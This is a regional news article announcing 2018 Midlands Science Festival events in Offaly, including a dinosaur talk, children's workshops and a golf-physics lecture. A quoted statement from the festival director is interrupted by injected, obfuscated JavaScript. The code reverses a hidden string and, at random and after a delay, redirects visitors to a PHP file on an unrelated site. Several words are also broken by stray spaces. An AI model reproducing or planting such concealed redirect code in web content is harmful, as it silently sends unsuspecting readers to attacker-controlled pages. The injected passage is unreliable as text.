SNAKES AND SLIME FOR OFFALY!

/in , /by

The Midlands Science Festival will be taking place across the region for people of all ages from November 11th – 18th and promises a full programme of innovative and fun hands-on events. One of the key activities we can look forward to in Offaly this year is taking place in Tullamore library on November 17th. Join Sunday Times best-selling author Dr Steve Brusatte as he explores his life in dinosaur discoveries. He is one of the world’s leading scientists of a new generation of dinosaur hunters armed with cutting edge technology and he is piecing together the complete s tory of how the dinosaurs ruled the earth for 150 million years. Steve’s amazing work and discoveries have featured on BBC, CNN and National Geographic and he is the author of the Sunday Times Best Seller “The Rise and Fall of the Dinosaurs.” His book will also be for sale at the event and this event will be facilitated by journalist Claire O’Brien.

Other planned activities include the award-winning ‘Anyone 4 Science’ team who will be running their popular, hands on science workshops in Edenderry Library on November 12th in addition to the Junior Einsteins Science Club who will also be back to Tullamore Library on November 12th for a day of slime, rockets, smoke cannons, making elephant toothpaste and much more. There are still some places available so check this out!

Science Week, which is managed by ‘SFI Discover’ the education and public engagement programme of Science Foundation Ireland, will take science out of the lab and in to libraries, theatres, public spaces and school halls, giving people a variety of fun ways to explore and open up a multitude of ideas for a potential future career in science, technology, engineering and maths.

The key evening public event for Offaly for this year is all about the science of golf. It takes place in the Esker Hills Golf Club in Ballinamere just outside Tullamore town on the evening of November 13th. It may surprise people to find out that golf is a game that has more interesting physics than any other. There is the aerodynamics of a golf ball in flight, the fundamentals of striking the ball, the generation of spin, and a formula for sending the ball in intentionally curved paths, such as deliberate hooks and slices.

Direc tor of the Midlands Science Festival, Jackie Gorman said,

‘We are delighted to welcome Dr Ian Kenny of the University of Limerick [UL] to Esker Hills Golf Club to explore the science of golf during Science Week 2018. Ian is a senior lecturer in Biomechanics at the University of Limerick and is involved with an interdisciplinary research group at UL which is focussed on golf performance. His PhD research was on golf performance and he worked within the R&D team for the R&A Rules Ltd. in St. Andrews for the duration of his PhD research. This free event for Science Week is bound to be of interest to golfers of all ages and ability and we have many other fun, informative and innovative events throughout the week so $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do check out our events page on www.midlandsscience.ie for more details.’

This packed programme of free Science Week events is being rolled out in the counties of Laois, Offaly, Westmeath and Longford this November. It will bring together a large number of interested participants including science communica tors, performers and researchers, science and technology speakers, science and TY students, mini scientists and the general public from all over the Midlands and beyond.

Midlands Science Festival Direc tor, Jackie Gorman continued,

‘This year’s programme really is bigger and better than ever before with so much variety for people of all ages to enjoy. We are also looking forward to our fun and engaging Rediscovery workshops in Birr library on November 15th where primary school children will have the opportunity to participate in a number of exciting activities and learn about the science of sustainability in our communities and the Reptile Zoo Village will also return to the county this year, this time to Banagher Library on November 17th for a day of getting up close to snakes, tor toises and spiders if you so desire!’